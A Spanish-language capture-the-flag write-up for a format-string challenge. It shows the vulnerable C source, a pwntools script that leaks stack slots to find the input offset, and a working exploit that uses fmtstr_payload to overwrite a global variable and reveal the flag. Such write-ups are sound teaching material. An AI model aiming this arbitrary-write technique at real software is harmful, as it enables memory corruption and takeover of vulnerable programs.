Format strings 2

July 17, 20253 minutes
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
Este programa tiene una vulnerabilidad de format strings, ya que se hace un printf de buf sin especificar el tipo
printf(buf);
El programa verifica si la variable sus contiene el valor 0x67616c66 (el cual en ASCII es ‘flag’ al revés: ‘galf’). Si es así, muestra la flag. Pero sus está inicialmente definido como:
int sus = 0x21737573;
...
if (sus == 0x67616c66) { ... }
y nunca se modifica, por lo tanto, la condición no se cumple de forma normal. El objetivo es usar la vulnerabilidad de format string para modificar el valor de sus a 0x67616c66 y así hacer que se imprima la flag.
El primer paso es encontrar el offset, para ello usé este script, básicamente va lekeando cada posición del stack y al principio manda unas ‘A’ para encontrar el offset hay que encontrar cuando printea las ‘A’.
#!/usr/bin/env python3
from pwn import *
import base64
exe = ELF("./vuln_patched")
context.binary = exe
context.log_level = 'warn'
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
for i in range(1, 50):
try:
r = conn()
payload = f"AAAAAAAA%{i}$p"
r.sendlineafter('say?', payload)
output = r.recvline()
output = r.recvline()
print(f"{i}: {output}")
except:
pass
r.interactive()
if __name__ == "__main__":
main()
1: b"Here's your input: AAAAAAAA0x7fff3b4f8c20\n"
2: b"Here's your input: AAAAAAAA(nil)\n"
3: b"Here's your input: AAAAAAAA(nil)\n"
4: b"Here's your input: AAAAAAAA(nil)\n"
5: b"Here's your input: AAAAAAAA0x7ff089bdeea0\n"
6: b"Here's your input: AAAAAAAA0x1\n"
7: b"Here's your input: AAAAAAAA0x7fff513823a0\n"
8: b"Here's your input: AAAAAAAA(nil)\n"
9: b"Here's your input: AAAAAAAA(nil)\n"
10: b"Here's your input: AAAAAAAA(nil)\n"
11: b"Here's your input: AAAAAAAA0x7f2e8da3a310\n"
12: b"Here's your input: AAAAAAAA0x7ffe73bb7450\n"
13: b"Here's your input: AAAAAAAA0x7fd193cdb274\n"
14: b"Here's your input: AAAAAAAA0x4141414141414141\n"
En la posición 14 muestra 0x4141414141414141, con esto se sabe, ya que el input se guarda en la posición 14
Lo siguiente es saber la dirección de sus
pwndbg> p &sus
$1 = (<data variable, no debug info> *) 0x404060 <sus>
Con esta información ya se puede hacer el exploit
#!/usr/bin/env python3
from pwn import *
import base64
exe = ELF("./vuln_patched")
context.binary = exe
context.log_level = 'warn'
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
sus = 0x404060
nuevo_valor = 0x67616c66
offset = 14
payload = fmtstr_payload(offset, {sus: nuevo_valor})
# good luck pwning :)
r.sendlineafter('say?', payload)
r.interactive()
if __name__ == "__main__":
main()
[d3bo@archlinux format_strings_2]$ python3 solve.py LOCAL
Here's your input: 0c \x00 \x00aaaaba`@@
I have NO clue how you did that, you must be a wizard. Here you go...